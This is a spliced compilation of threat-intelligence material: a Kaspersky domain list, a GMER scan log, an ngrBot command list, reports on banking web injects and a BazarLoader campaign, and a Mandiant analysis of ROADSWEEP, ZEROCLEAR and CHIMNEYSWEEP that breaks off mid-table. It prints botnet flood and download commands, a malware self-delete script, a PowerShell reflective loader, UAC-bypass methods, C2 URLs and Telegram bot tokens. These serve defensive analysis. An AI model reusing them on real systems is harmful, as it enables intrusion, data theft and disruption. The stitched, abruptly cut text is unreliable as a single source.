dnl-eu6.kaspersky-labs.com - dnl-eu7.kaspersky-labs.com - dnl-kr1.kaspersky-labs.com - dnl-eu8.kaspersky-labs.com - dnl-eu9.kaspersky-labs.com - dnl-jp1.kaspersky-labs.com - dnl-kr10.kaspersky-labs.com - dnl-jp10.kaspersky-labs.com - dnl-jp11.kaspersky-labs.com - dnl-jp12.kaspersky-labs.com - dnl-kr11.kaspersky-labs.com - dnl-jp13.kaspersky-labs.com - dnl-kr12.kaspersky-labs.com - dnl-kr13.kaspersky-labs.com - dnl-kr15.kaspersky-labs.com - dnl-kr2.kaspersky-labs.com - dnl-kr3.kaspersky-labs.com - dnl-kr4.kaspersky-labs.com - dnl-kr5.kaspersky-labs.com - dnl-kr6.kaspersky-labs.com - dnl-kr8.kaspersky-labs.com - dnl-kr9.kaspersky-labs.com - dnl-ru10.kaspersky-labs.com - dnl-ru11.kaspersky-labs.com - dnl-ru12.kaspersky-labs.com ## Gmer Scan I left only 2 processes in the scan to reduce the size of the log. ### User code sections - GMER 1.0.14 - .text C:\WINDOWS\Explorer.EXE[1212] ntdll.dll!NtEnumerateValueKey - .text C:\WINDOWS\Explorer.EXE[1212] ntdll.dll!NtQueryDirectoryFile - .text C:\WINDOWS\Explorer.EXE[1212] ntdll.dll!NtResumeThread - .text C:\WINDOWS\Explorer.EXE[1212] ntdll.dll!LdrLoadDll - .text C:\WINDOWS\Explorer.EXE[1212] kernel32.dll!CreateFileA - .text C:\WINDOWS\Explorer.EXE[1212] kernel32.dll!CreateFileW - .text C:\WINDOWS\Explorer.EXE[1212] kernel32.dll!MoveFileA - .text C:\WINDOWS\Explorer.EXE[1212] kernel32.dll!CopyFileW - .text C:\WINDOWS\Explorer.EXE[1212] kernel32.dll!CopyFileA - .text C:\WINDOWS\Explorer.EXE[1212] kernel32.dll!MoveFileW - .text C:\WINDOWS\Explorer.EXE[1212] ADVAPI32.dll!RegCreateKeyExW - .text C:\WINDOWS\Explorer.EXE[1212] ADVAPI32.dll!RegCreateKeyExA - .text C:\WINDOWS\Explorer.EXE[1212] WININET.dll!HttpSendRequestW - .text C:\WINDOWS\Explorer.EXE[1212] WININET.dll!HttpSendRequestA - .text C:\WINDOWS\Explorer.EXE[1212] WININET.dll!InternetWriteFile - .text C:\WINDOWS\Explorer.EXE[1212] WS2_32.dll!getaddrinfo - .text C:\WINDOWS\Explorer.EXE[1212] WS2_32.dll!send - .text C:\Program Files\Internet Explorer\iexplore.exe[1404] ntdll.dll!NtEnumerateValueKey - .text C:\Program Files\Internet Explorer\iexplore.exe[1404] ntdll.dll!NtQueryDirectoryFile - .text C:\Program Files\Internet Explorer\iexplore.exe[1404] ntdll.dll!NtResumeThread - .text C:\Program Files\Internet Explorer\iexplore.exe[1404] ntdll.dll!LdrLoadDll - .text C:\Program Files\Internet Explorer\iexplore.exe[1404] kernel32.dll!CreateFileA - .text C:\Program Files\Internet Explorer\iexplore.exe[1404] kernel32.dll!CreateFileW - .text C:\Program Files\Internet Explorer\iexplore.exe[1404] kernel32.dll!MoveFileA - .text C:\Program Files\Internet Explorer\iexplore.exe[1404] kernel32.dll!CopyFileW - .text C:\Program Files\Internet Explorer\iexplore.exe[1404] kernel32.dll!CopyFileA ### User IAT/EAT - GMER 1.0.14 - IAT C:\Program Files\Internet Explorer\iexplore.exe[1404] @ C:\WINDOWS\system32\ole32.dll [KERNEL32.dll!LoadLibraryExW] ### Registry - GMER 1.0.14 - Reg HKCU\Software\Microsoft\Windows\CurrentVersion\Run@Vgbkbf C:\Documents and Settings\[UserName]\Application Data\Vgbkbf.exe ### Files - GMER 1.0.14 - File C:\Documents and Settings\[UserName]\Application Data\Vgbkbf.exe 169472 bytes ## ngrBot Commands Note: parameters within "[" and "]" are required, and parameters within "<" and ">" are optional. - !dl [url] <md5> <-r> <-n> - !up [url] [md5] <-r> - !die - !rm - !m [state] - !v - !vs [url] [state] - !rc <-n|-g> - !j [<[rule] [options]> channel] <key> - !p [<[rule] [options]> channel] - !s <rule> - !us <rule> - !mod [module] [state] - !stats <-l|-s> - !logins <site|-c> - !stop - !ssyn [host] [port] [seconds] - !udp [host] [port] [seconds] - !slow [host] [minutes] - !msn.int [interval] - !msn.set [message] - !http.int [interval] - !http.set [message] - !mdns [url|[domain1 <domain2|ip2>]|[ip1 <ip2>]]
# Cyber Threat Analysis ## Background Banking injects are popular and powerful tools for performing fraud. They are usually used with banking trojans to inject malicious HTML or JavaScript code into a web page before it is redirected to a legitimate bank website. Typically, a web inject would serve as an overlay, resembling a legitimate bank login web page that requests a user to input additional confidential data such as payment card data, Social Security numbers (SSN), PINs, credit card verification codes (CVV), or additional PII, even if it is not actually required by the bank. Banking injects are part of a MitB attack in which the banking trojan can modify the content of a legitimate bank web page in real time by performing API hooking. Modified infected content that is designed to be added to the legitimate web page is located in a web inject configuration file, which is typically hosted on a remote command and control (C2) server and downloaded to the infected machine or device. Attackers can update the configuration files on the server and on infected machines automatically. Cybercriminals encrypt and obfuscate these configuration files to evade detection by antivirus software. Recorded Future analyzed current data from the Recorded Future® Platform, dark web sources, and open-source intelligence (OSINT) to identify banking web injects and integrate with multiple banking trojans, allowing both the injects and the most referenced developers of the banking injects that target multiple financial organizations worldwide. This report expands upon findings addressed in the report “Automation and Commoditization in the Underground Economy,” following reports on database breaches, checkers and brute forcers, loaders and crypters, and ExoBot, Loki Bot, and RedAlert. This report will be of most interest to network defenders, security researchers, and executives charged with security risk management and mitigation. Some technically advanced web injects use an Automatic Transfer System (ATS) that can initiate wire money transfers from the compromised victim machine. This method does not require logging into the victim’s account and bypassing 2FA. ATS injects scripts linked to the command and control (C2) server with banking information such as bank accounts, account balances, and other personal information and can initiate a money transfer. If the transfer is authorized, the funds will be redirected to the account controlled by cybercriminals. Many web injects also have the following technical functionalities: - Some web injects can bypass 2FA. - Web injects that are integrated with banking trojans have control panels and can obtain full control over the user machine. - Banking web injects are delivered in different ways, but most commonly they are distributed through phishing emails and exploit kits. ## Key Judgments - Banking web injects are powerful malicious tools integrated with multiple banking trojans that permit a threat actor to bypass two-factor authentication (2FA) and compromise a user’s bank account. - The primary methods used by threat actors to distribute banking web injects are phishing and exploit kits. - The most notorious developers and sellers of banking web injects on the dark web are “yummba,” “Validolik,” “Kaktys1010,” “Pw0ned,” and ANDROID-Cerberus. - Banking web injects are highly customized to particular websites; as a result, clients can monitor their web inject developers and potential attacks on their infrastructure. ## Mitigations There are good rules to follow to help detect and prevent a web inject attack. We recommend the following mitigation strategies: - Redesign the login web page for an application so that it appears different from the PNG image in the leaked source code. Consider adding a watermark of some sort that is client-specific or changes based on the time, since Cerberus Android uses static images for each supported bank. Provide clients with guidance that if they do not see the image/watermark, it is not an authentic login web page for that app. - Keep all software and applications up to date; in particular, operating systems, antivirus software, applications, and core system utilities. - For users, install an antivirus solution, schedule signature updates, and monitor the antivirus status on all equipment. - Use only an HTTPS connection on the internet. - Educate employees and conduct training sessions with mock phishing scenarios. - Use multi-factor authentication (MFA) if possible. - Deploy a spam filter that detects viruses, blank senders, and so on. - Deploy a web filter to block malicious websites. - Encrypt all sensitive company information on the device. - Advise users to only download apps and files from trusted sources. ## Appendix A — List of Web Injects Publicly Shared by ANDROID-Cerberus - ABN Amro - IKO - USAA - Akbank - ImaginBank - US Bank - Alior Bank - IMO - Vakifbank - Allegro - Ingdiba - Viber - Amazon - Ingdirect - Volksbank - Asseco - Inmitte - WellsFargo - AT&T - Instagram - WesternUnion - Banco Itau - Konylabs - WhatsApp - Bank Austria - Kutxabank - Yahoo - Bank Inter - Kuveytturk - YKB - Bank of America - La tua banca - Zira - Bank of Queensland - La caixa - Bankowoskmobila - Laposte - Banksa - Liberbank - Banque Populair - Lynx SPA - Barclays - MBank - BBVA - Mibanco - Bendigo bank - MoneyBookers - BienLinea - Mobillium - BitBank - Mobiwik - Blockchain - Moje Orange - BMO - NetBK - BNL - Nogood - BTLR - Noris Bank - Caixageral - Oxigen - Chase Bank - PayPal - CIBC - PCB - ClairMail - Pekao - Coincheck - Pocket Bank - Commbank - Popso - CommerzBanking - PosteItaliane - ConsorsBank - Pozitron - Copper GMPS - PWCC - Credem Mobil - Quoine - Creditagricole - Raiffeisenbank - CSOB - Rakuten Bank - Discover Financial - Eleader - Empik - Eurobank PL - Evobanco - Finansbank - Finanteq - Garanti BBVA - Getin group - GMOwallet - Google - Groupe Caisse d’épargne - GRPPL - Grupo Cajamar - HSBC - Ibercaja - ICICI - Ideo Mobile - La Caixa - Luminor - Mbank - Mizuho - Monzo - N26 - NatWest - Revolut - Santander - Sberbank - Standard Chartered - Tinkoff - TSB - UBS - UniCredit - VTB - Wells Fargo - Yandex - Zira
# BazarLoader Campaign with Fake Termination Emails **Security Lab** **October 13, 2020** ## Summary Hornetsecurity has observed a malicious email campaign distributing the BazarLoader using termination as a lure. The campaign uses a link to Google Docs from where the BazarLoader malware executable is downloaded. ## Background BazarLoader is a new malware loader attributed to a threat actor with a close relation to the TrickBot malware. The loader is also aptly named KEGTAP, as in device used to open a beer keg, because it is used to “open” the network of victims for follow-up malware in order to move laterally on the network and eventually deploy ransomware. ## Technical Analysis On 2020-10-13 at exactly 13:00 UTC, Hornetsecurity registered the first emails of the new BazarLoader campaign. The emails use a termination lure. The URL in the email is a legitimate Google Doc URL. From there, all links lead to the BazarLoader executable (Report10-13.exe). When executed, BazarLoader will use OpenNIC Public DNS Servers to resolve a .bazar domain generated via domain generation algorithm (DGA). The .bazar domain is not a regular TLD but rather an alternative DNS TLD of the decentralized EmerDNS blockchain DNS system. Then the BazarLoader will download and install the BazarBackdoor. This backdoor will be used to move laterally in the victim’s network in order to take over the domain controller. Eventually, the intrusion is monetized by deploying the Ryuk ransomware. ## Conclusion and Countermeasure Because the payload download is hosted on the legitimate Google Docs site, victims are more likely to click the link in the email than they would an obscure URL they are unfamiliar with. BazarLoader’s use of the EmerDNS blockchain DNS system makes it immune to current efforts by various security vendors to disrupt the operations of TrickBot. Hornetsecurity’s Spam Filter Service and Malware Protection already detects and quarantines the outlined threat emails. ## Indicators of Compromise (IOCs) ### Hashes | MD5 | Filename | Description | |---------------------------------------|---------------------|--------------| | 9cd1f319f58c3979399c1779d5a34bc2 | Report10-13.exe | BazarLoader | ### IPs OpenNIC Public Servers used by the analyzed BazarLoader version: - 195.10.195.195 (53/udp) - 192.71.245.208 (53/udp) - 172.126.70.119 (53/udp) - 151.80.222.79 (53/udp) - 94.16.114.254 (53/udp) - 193.183.98.66 (53/udp) - 51.254.25.115 (53/udp) - 95.174.65.241 (53/udp) ### URLs hxxps://docs.google.com/document/d/e/2PACX-1vTVCHKzmdSD2wX03GTnyBToo4xvldfGqtFWZiz5bT5cTRozW4Xk5H6GER0GmscSPqnpyFtokphDl-_U/pub
# Likely Iranian Threat Actor Conducts Politically Motivated Disruptive Activity Against Albanian Government Organizations ## Executive Summary Mandiant identified the ROADSWEEP ransomware family and a Telegram persona that targeted the Albanian government in a politically motivated disruptive operation ahead of an Iranian opposition organization’s conference in late July 2022. A previously unknown backdoor, CHIMNEYSWEEP, and a new variant of the ZEROCLEAR wiper may also have been involved. CHIMNEYSWEEP malware distribution data and decoy content, the operation’s timing and politically themed content, and the possible involvement of the ZEROCLEAR wiper indicate an Iranian threat actor is likely responsible. This activity is a geographic expansion of Iranian disruptive cyber operations conducted against a NATO member state. It may indicate an increased tolerance of risk when employing disruptive tools against countries perceived to be working against Iranian interests. ## Threat Detail In mid-July 2022, Mandiant identified a new ransomware family dubbed ROADSWEEP, which drops a politically themed ransom note suggesting it targeted the Albanian government. A front named “HomeLand Justice” claimed credit for the disruptive activity that affected Albanian government websites and citizen services on July 18, 2022. The “HomeLand Justice” front posted a video of the ransomware being executed on its website and Telegram channel alongside alleged Albanian government documents and residence permits of ostensible members of the Mujahedeen-e-Khalq/People’s Mojahedin Organization of Iran (MEK), an Iranian opposition organization that was formerly designated as a terrorist group by the U.S. Department of State. On July 18, 2022, the Albanian government published a statement announcing it had to “temporarily close access to online public services and other government websites” due to disruptive cyber activity. On July 22, 2022, a ROADSWEEP ransomware sample was submitted to a public malware repository from Albania. Upon successful execution, this ROADSWEEP sample drops a ransom note including the text “Why should our taxes be spent on the benefit of DURRES terrorists?” Durrës is a port city and the second most populous city in Albania. On July 21, 2022, a front named “HomeLand Justice” leveraged the website “homelandjustice.ru” to start publishing ostensible news stories on the ransomware operation against the Albanian government along with a link to a Telegram channel named “HomeLand Justice.” The website, which implies that it is run by Albanian citizens, claimed credit for the ransomware activity with a video of “wiper activity” and posted documents ostensibly internal to the Albanian government along with what it claimed to be Albanian residence permits of MEK members. The website “homelandjustice.ru” and the Telegram channel both use a banner that appears identical to the wallpaper used by ROADSWEEP and contains the same politically themed language as the ransom note. After posting multiple links to news stories on the disruptive activity against the Albanian government on July 26, 2022, HomeLand Justice directly claimed credit for the operation on its Telegram channel in a message alleging corruption in the Albanian government and repeating the message from the ransom note. Notably, the posts used the hashtags #MKO, #ISIS, #Manez, and #HomeLandJustice. Manëz is a town in the Durrës County and the location for the World Summit of Free Iran conference which was set to take place on July 23-24. Both the homelandjustice.ru website and the Telegram channel posted documents ostensibly belonging to Albanian government organizations along with what appear to be residence permits, marriage certificates, passports, and other personal documents belonging to alleged members of the MEK. ## CHIMNEYSWEEP Backdoor Likely Targets Iranian Diaspora and Dissidents Mandiant further identified CHIMNEYSWEEP, a backdoor that uses either Telegram or actor-owned infrastructure for command-and-control and is capable of taking screenshots, listing and collecting files, spawning a reverse shell, and supports keylogging functionality. CHIMNEYSWEEP shares code with ROADSWEEP and based on observed decoy content has likely been used to target Farsi and Arabic speakers as far back as 2012. CHIMNEYSWEEP and ROADSWEEP share multiple code overlaps, including identical dynamic API resolution code. The shared code includes an embedded RC4 key to decrypt Windows API function strings at runtime, which are resolved using LoadLibrary and GetProcAddress calls once decrypted. Both capabilities also share the same Base64 custom alphabet, one used to encode the decryption key, the other for command and control. CHIMNEYSWEEP is dropped by a self-extracting archive signed with a valid digital certificate alongside either an Excel, Word, or video file which are likely used as benign decoy documents. However, these documents do not appear to be automatically opened when CHIMNEYSWEEP is executed. The decoy documents have included Arabic-language lists of names, ostensibly of individuals in Lebanon, and a figure of Massoud Rajavi, the former leader of the Mujahedeen-e-Khalq (MEK). We identified iterations of CHIMNEYSWEEP used as early as 2012. ## ZEROCLEAR On July 19, 2022, one day after the Albanian government announcement of the disruptive activity, an Albanian user submitted a ZEROCLEAR wiper payload to a public malware repository. The ZEROCLEAR payload takes in command line arguments from the operator and results in corruption of the file system using the RawDisk driver. While we are unable to independently prove or disprove whether the ZEROCLEAR sample was used in this or any disruptive operation, the malware has previously been publicly reported to have links to Iran-nexus threat actors deploying it in support of disruptive activity in the Middle East as recently as 2020. ## Attribution Mandiant does not have evidence linking this activity to a named threat actor but assesses with moderate confidence that one or multiple threat actors who have operated in support of Iranian goals are involved. This is based on the timing of the disruptive activity, the MEK-focused content of the HomeLand Justice persona’s Telegram channel, and the long history of CHIMNEYSWEEP malware targeting Farsi and Arabic speakers. The city of Manëz, Durrës County, which were mentioned in the ROADSWEEP ransom note and on the HomeLand Justice Telegram channel, was set to host a conference “The World Summit of Free Iran” on July 23-24, 2022. Albanian media announced that on July 22 that the conference had been postponed due to a “terrorist attack threat.” The World Summit of Free Iran is a conference convening entities opposed to the government of Iran, specifically members of the MEK, in Manëz, Durrës County, Albania. Iranian and pro-Iran information operations have frequently targeted the MEK with antagonistic messaging, including that leveraging fabricated material such as forged documents. For example, the pro-Iran campaign Roaming Mayfly has promoted falsified narratives alleging various Western countries’ support for the MEK. We have previously reported on the suspected Iran-nexus ZEROCLEAR and DUSTMAN wipers, which have reportedly targeted entities in Bahrain and Saudi Arabia. However, we do note that the ransomware attack is significantly more complex than prior CHIMNEYSWEEP operations, which raises the possibility of a cross-team collaboration or other scenarios that we lack insight into at this time. We are continuing to investigate this cluster and will provide updates as we are able. ## Outlook and Implications Mandiant has frequently reported on Iranian threat activity targeting Iranian dissidents and opposition groups abroad by cyber espionage groups such as UNC788 and malware such as SCRAPWOOD, publicly known as MarkiRAT. Additionally, numerous recent lock-and-leak operations by suspected Iran-nexus personas such as Black Shadow and Moses Staff have involved disruptive activity against primarily Israeli organizations in an attempt to embarrass them. The use of ransomware to conduct a politically motivated disruptive operation against the government websites and citizen services of a NATO member state in the same week an Iranian opposition groups’ conference was set to take place would be a notably brazen operation by Iran-nexus threat actors. As negotiations surrounding the Iran nuclear deal continue to stall, this activity indicates Iran may feel less restraint in conducting cyber network attack operations going forward. This activity is also a geographic expansion of Iranian disruptive cyber operations, conducted against a NATO member state. It may indicate an increased tolerance of risk when employing disruptive tools against countries perceived to be working against Iranian interests. ## Technical Annex A: ROADSWEEP Ransomware ROADSWEEP is a newly discovered ransomware tool, which upon execution will enumerate files on the device and encrypt the content in blocks using RC4. Window API names, malware configuration parameters, and the basis of a ransomware note are RC4 encrypted within ROADSWEEP. During execution, ROADSWEEP will decrypt these encrypted strings and dynamically resolve necessary imports. - GoXml.exe (MD5: bbe983dba3bf319621b447618548b740) - ROADSWEEP disruptive payload - Compiled on 2016/04/30 17:08:19 ROADSWEEP requires four command line arguments to execute correctly; otherwise, it will produce a message box and halt execution. Upon successful execution, ROADSWEEP creates the following global mutex: abcdefghijklmnonklmnopqrstuvwxyz01234567890abcdefghijklmnopqrstuvwxyz01234567890 Following initialization, ROADSWEEP will begin resolving the necessary APIs using the Windows GetProcAddress API. The function names are encrypted using RC4 with the hardcoded key "8c e4 b1 6b 22 b5 88 94 aa 86 c4 21 e8 75 9d f3". ROADSWEEP contains multiple embedded scripts which are used to either execute additional commands or to remove itself from the victim’s device. These scripts are never written to disk; instead, ROADSWEEP will create a new command prompt (cmd.exe), then send these commands to the process with a pipe. The scripts are embedded within the binary as RC4 encrypted blocks and are decrypted at runtime by the payload. The first script decrypted by ROADSWEEP is responsible for disabling settings like SystemRestore and Volume Shadow Copies, along with disabling critical services and processes. ROADSWEEP also decrypts the following script, which is used to delete itself after execution: ``` ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "%s" ``` Next, ROADSWEEP extracts configuration values that are RC4 encrypted and embedded within the binary itself. The first is a list of extensions that should be avoided when the encryption occurs: - .exe - .dll - .sys - .lnk - .lck ROADSWEEP also decrypts the filename for the ransomware note, "How_To_Unlock_MyFiles.txt" (MD5: 44d1c75815724523a58b566d95378825) and the note itself. After creating the file, the encryption key that is used to encrypt each file is computed. The key is derived through producing a random data stream using the algorithm shown in the document, then hashing this value with MD5 and using this as an RC4 key. ROADSWEEP then encrypts this key with an embedded RSA public key and proceeds to format the ransomware message by appending the Base64 encoded and encrypted “recovery key” to the message itself. The Base64 encoding uses a custom alphabet of "wxyz0123456789.- JKLMNOPghijklmnopqrstuvQRSTUVWXYZabcdefABCDEFGHI". Next, ROADSWEEP enumerates all logical drives on the victim's device and checks whether the drive is one of the following: - DRIVE_REMOVABLE - DRIVE_FIXED - DRIVE_REMOTE - DRIVE_CDROM For each discovered drive, ROADSWEEP will initialize a new thread which is responsible for encrypting all files within that drive. This thread enumerates the file system using the Windows FindFirstFileW and FindNextFileW APIs. For each root directory, a ransomware note is created with the content and filename noted above. Following this, ROADSWEEP will check whether the files within the directory match the extracted extension list; if they do not, the file is encrypted. The encryption process takes place by renaming the file with the “.lck” extension. ROADSWEEP then takes the creation time, last access time, and last write time for the file and stores these internally. These values are then used after the wipe to preserve the file times, although the purpose of this is currently unknown. ROADSWEEP will then open the file and compute the size using the GetFileSize API. Then by chunking the file’s content into blocks of 0x100000, ROADSWEEP will read in the data, encrypt the chunk using RC4, and then overwrite the file to disk. This is completed until the entire file is overwritten. Following this, the aforementioned self-delete script is executed and the process exits. ## Technical Annex B: ZEROCLEAR Variant We identified a ZEROCLEAR payload which takes in command line arguments from the operator and results in corruption of the file system using the RawDisk driver. - cl.exe (MD5: 7b71764236f244ae971742ee1bc6b098) - ZEROCLEAR disruptive payload - Compiled on 2022/07/15 13:26:28 The first command line argument must be one of the following: - "wp" (default) – Wipes the disk using the ElDos driver, this expects the driver to be running for the wiper activity to occur. - "in" – Installs and starts the driver named rwdsk.sys, which is expected to be located in the same directory as ZEROCLEAR. - “un” – Uninstalls the driver named rwdsk and deletes the file on disk. The second argument is the drive letter that the operator wants to corrupt; previous variants of ZEROCLEAR only wiped the system drive, determined from calling the GetSystemDirectoryW API. ZEROCLEAR then opens a handle to the RawDisk driver by opening a handle to the following: ``` \\?\RawDisk3<arg2>#B4B615C28CCD059CF8ED1ABF1C71FE03C0354522990AF63ADF3C911E2287A4B906D47D ``` It then computes the disk size using the Windows IOCTL_DISK_GET_DRIVE_GEOMETRY_EX, IOCTL_DISK_GET_DRIVE_GEOMETRY and IOCTL_DISK_GET_LENGTH_INFO DeviceIoControl calls. The ElDos driver is used to overwrite the data with the value "0". ## Technical Annex C: CHIMNEYSWEEP Backdoor While Mandiant was unable to uncover the infection vector for CHIMNEYSWEEP, we note that the dropper has a valid digital signature. In addition to dropping the CHIMNEYSWEEP installer, this dropper also contains either an Excel or Word document or an MP4 video file. The dropper is a signed version of a Windows Cabinet self-extracting file, which is signed by the now revoked certificate "Atheros Communications Inc." As of 2022-07-28, the certificate used in the ROADSWEEP campaign has not been revoked. Historically we have seen APT41 also use this signature, although as noted by DUO the password for this certificate was widely available. The threat actor’s choice of signing certificate and dropper is likely based on the fact the legitimate Atheros certificate was used to distribute legitimate drivers using the legitimate dropper. This indicates the threat actors have a high degree of operational security. Upon execution, the self-extracting tool finds the resource named “Cabinet”, drops it to disk, and then executes a process named unpack.exe. ### CHIMNEYSWEEP Samples - UNAVAILABLE (MD5: df9ab47726001883b5fcf58b56b34b41) - CHIMNEYSWEEP backdoor - Installed by unpack.exe (MD5: 8c8bbe3a4a23cd4cc96c12af5fb1199b) - Contained in wextract.exe.mui (MD5: 19068e8228b6b8f5528489fa70779b2b) - Compile time: 2021/07/26 13:39:17 - C&C servers: - telegram-update.com - avira.ltd - windowsupadates.com - AppxProviders.dll (MD5: f3c977830bf616b9061d7aee5ce0b2f2) - CHIMNEYSWEEP backdoor - Compile time: 2021/07/26 13:39:17 - C&C servers: - telegram-update.com - avira.ltd - windowsupadates.com - AppxProviders.dll (MD5: 7f6db4493c6a76eb44534306291ea85f) - CHIMNEYSWEEP backdoor - Compile time: 2021/07/26 13:39:17 - C&C servers: - telegram-update.com - avira.ltd - windowsupadates.com - AppxProviders.dll (MD5: 3a1033cb1eb06c2cd5e91c539cf8a519) - CHIMNEYSWEEP backdoor - Compile time: 2021/07/26 13:39:17 - C&C servers: - telegram-update.com - avira.ltd - windowsupadates.com - UNAVAILABLE (MD5: 23643b7bd48a200889a4613a0e0a86e4) - CHIMNEYSWEEP backdoor - Installed by: UNAVAILABLE (MD5: 49d72f9212d5653f5be9f764d8c9df24) - Compile time: 2021/06/11 22:53:53 - C&C servers: - telegram-update.com - avira.ltd - windowsupadates.com - UNAVAILABLE (MD5: 9c09d147dfbc98d5e6e051fe1ed0033d) - CHIMNEYSWEEP backdoor - Installed by unpack.exe (MD5: 38e0fa41e9519d4783766992c203e794) - Compile time: 2020/01/25 18:11:10 - C&C servers: - telegram-update.com - avira.ltd - windowsupadates.com - UNAVAILABLE (MD5: 5cc183702fae8cc23a55037c1efab5e5) - CHIMNEYSWEEP backdoor - Installed by UNAVAILABLE (MD5: 92c61e3047297136701c25deb658b35a) - Compile time: 2020/09/21 11:44:32 - C&C servers: - telegram-update.com - avira.ltd - windowsupadates.com - ssv.dll (MD5: 77a369e5e49e7e62d8eef2c00cd02950) - CHIMNEYSWEEP backdoor - Compile time: 2018/10/08 17:28:39 - C&C servers: - cloud-avira.com - pgp.eu.com - server-avira.com - skype.se.net - uk2privat.com - update-pgp.com ### Execution After being dropped by the dropper, the installer is executed. The installer, some of which are padded with null bytes (0x00) to inflate their size, is responsible for deploying an embedded executable to disk and then executing the backdoor itself. The installer initially drops the payload as “m.d” in the covert store ("C:\ProgramData\Microsoft\Installer{EA2C6B24-C590-457B-BAC8-4A0F9B13B5B8}\Force"). Some of the installers forge the dropped file’s CreationTime, LastAccessTime, and LastWrite time from C:\Windows\System32\smss.exe. The installer then executes the “Alloc” export which checks whether the device is currently running DeepFreeze by Faronics, although this is not applicable for the samples analyzed by Mandiant. If the process name contains “creensaver.”, the backdoor will write the image to %SYSTEM32%\Slui and then execute a task named "\\Microsoft\\Windows\\License Manager\\LicenseExchange\". Alloc ultimately calls the Control_Provider export, which will initiate the backdoor. The main functionality is provided in the next export called by the installer, “RatingSetupUI”. This export is responsible for all the command-and-control (C&C) interactions and backdoor capabilities. The last two exports are related to the update process. “Control_Provider” manages the update process whereas “Telephon” executes the “Control_Provider” function. If the backdoor is not running as an administrator, the backdoor may use embedded payloads to escalate privileges. A mutex named “rerunadmn” is used internally by the backdoor and the two RC4 encrypted payloads are extracted. The first payload is a .NET loader, which loads the second payload and calls the type "vjp5ZPP9AidVjXxofy" and method "s7tajdxvX”. The loader (MD5: 779940f675ff4ab4e8cab7a1b7cf5d3c) will first enumerate the loaded .NET modules looking for the above class and methods. If they exist, it will execute that module. If the module is not loaded, the assembly is loaded and then executed in memory. The backdoor will then pass through the string “AD” if the payload is already executing as Administrator or the path to a temporary file on disk, directly to the loaded .net module. This temporary file is created by writing the content of the Software\AppDataLoad\GLX\aex and writing the content to the Windows %TEMP% directory with the name APPX.<random_values>.tmp. This file is a copy of the backdoor itself. If the payload can’t resolve the export CP from the loader, it reverts to invoking PowerShell with the following command, passing in the path to the second payload, the type and method and either AD or the path to the second module: ``` [Reflection.Assembly]::LoadFile(\"%s\")\n$i=\"\"\n$r=[%s]::%s(\"%s\",[ref] $i)\necho $r, $i\n ``` Execution will then proceed within the second payload (MD5: 3633b3d69060a5882656b69f81655f0a), responsible for ensuring that the payload is running with administrator privileges. This payload is obfuscated by reactor and contains encrypted strings used throughout the execution. Upon execution, the payload will create the mutex “rerunadmn” and “subttoadmn”. The module utilizes the following techniques to execute the payload as administrator: 1. Makes use of the Windows “SilentCleanup” scheduled task. This task executes the executable running in %windir%\system32\cleanmgr.exe, and the payload uses the Windows Registry Environment key to change the %windir% variable to point to c:\Windows. Next, the payload creates a new System32 folder and copies an embedded payload called cleanmgr.exe (MD5: 779940f675ff4ab4e8cab7a1b7cf5d3c) into this folder, alongside a .cfg file with the content “slc”. Following this, the task is executed. This technique is similar to a technique within Metasploit called bypassuac_silentcleanup. 2. Makes use of the windows CMSTP.exe binary to install a malicious Microsoft Connection Manager Profile on the device. This technique drops cln.vbs to the c:\windows\temp folder (MD5: 7a77c2930f0457ed2dd622e9739c7d3d), then creates a .ini file for the Ethernet service. Within this ini file, the payload contains two RunPreSetupCommandsSection values, one for the payload itself, and the second for executing the cln.vbs script. The legitimate cmstp.exe will then be executed on the host which executes the backdoor and then the clean-up script. This technique is identical to a technique made public in 2017 by Oddvar Moe. CHIMNEYSWEEP has the following major functionality: - **Screenshot collection**: Takes screenshots of the compromised device on a timer and stores to disk or can be tasked to take a screenshot and upload. - **File collection and listing**: Monitors for new removable drives and performs directory listing on demand, enumerates directories for files that match a set list, and can be tasked to upload a file to the command-and-control server. - **Keylogging**: Monitors the content of the clipboard and performs key logging to disk. - **Reverse shell**: Contains a reverse shell which can be utilized by the attacker. ### Initial configuration format The backdoor contains settings that are found either encrypted within the payload or stored in the registry (Software\AppDataLow\GLX\Setting). The values stored in the registry will be provided from the update mechanism. The configuration is split using the tags {BEGIN} and &{END}, and each value within the settings are referenced by an integer. For extracting the C&C values, the parser stores a reference to values 30-39 where each reference can be a different C&C and URI in order. ### Network communications and commands During the initialization of CHIMNEYSWEEP, a thread is created which makes HTTP GET requests to `https://api.telegram.org/<random_value>`. The response is checked for the string `{"ok":false,"` and if that string is present, the threat actor attempts to use Telegram for C&C communications. The threat actor used the following Telegram bots: | URI Path | bot username | bot real name | channel id | |----------|--------------|----------------|------------| | bot661217919:AAG9PrAybrKF5y8HxMA14THNZtWXw5Sv4w | net21007bot | net21007 | -1001262963819 | | bot692407219:AAFlfj9N3gx7vCJlsFi3Ej0qzZgpL8CNmj0 | net11007bot | net11007 | -1001188059110 | These Telegram channels appear to have been in use by the threat actor for a significant period and have messages in the hundreds of thousands which relate to individual tasks. The backdoor uses Telegram’s GetUpdates API endpoint, which returns a list of messages for the bot. The backdoor then parses this data to execute specific commands, download additional payloads, or to create a reverse shell. Data sent and received by the Telegram channel are encoded using Base64 and the same alphabet as ROADSWEEP. Within the context of Telegram, CHIMNEYSWEEP uses a unique identifier for the victim based on the computer name and username prepended by TL. This ID is used for filtering commands for the specific device: ``` TL_<computer_name>-<user_name> ``` Following the victim identifier, the backdoor uses the string 1 to indicate a task for the update process and 2 to indicate a command to execute on the host. If Telegram is not available, the threat actor communicates to threat actor-owned infrastructure. This infrastructure is embedded within the payload and may include one or multiple of the following: - http://skype.se.net/cm.php - http://update-real.com/cm.php - http://windowsupadates.com/cm.php - http://update-pgp.com/cm.php - http://uk2privat.com/cm.php - http://server-avira.com/cm.php - http://pgp.eu.com/cm.php - http://cloud-avira.com/cm.php - http://telegram-update.com/cm.php - http://avira.ltd/cm.php The C&C communication protocol consists of several HTTP requests to the server using the argument “do” to specify the command id and “arg” to transfer associated data. Communication to these servers is done with a specific User-Agent, which includes the victim's computer name and username in the following format: ``` <status_code>:---:<Computer_Name>-<User_Name>:---:init:---:www:---:MNEW ``` Upon initialization, the backdoor will create two networking threads, one for managing updates and the second for managing tasking. ### Tasking CHIMNEYSWEEP enables two distinct routes to execute commands on the box, a reverse shell and an interactive custom command prompt. In addition to this, the backdoor enables the threat actor to reboot or shutdown the system or log off the current user. | Command | Action | |---------|--------| | 100 | Start the custom command prompt | | 101 | Start a reverse shell | | 102 | Shutdown the system using shutdown /s /t 0 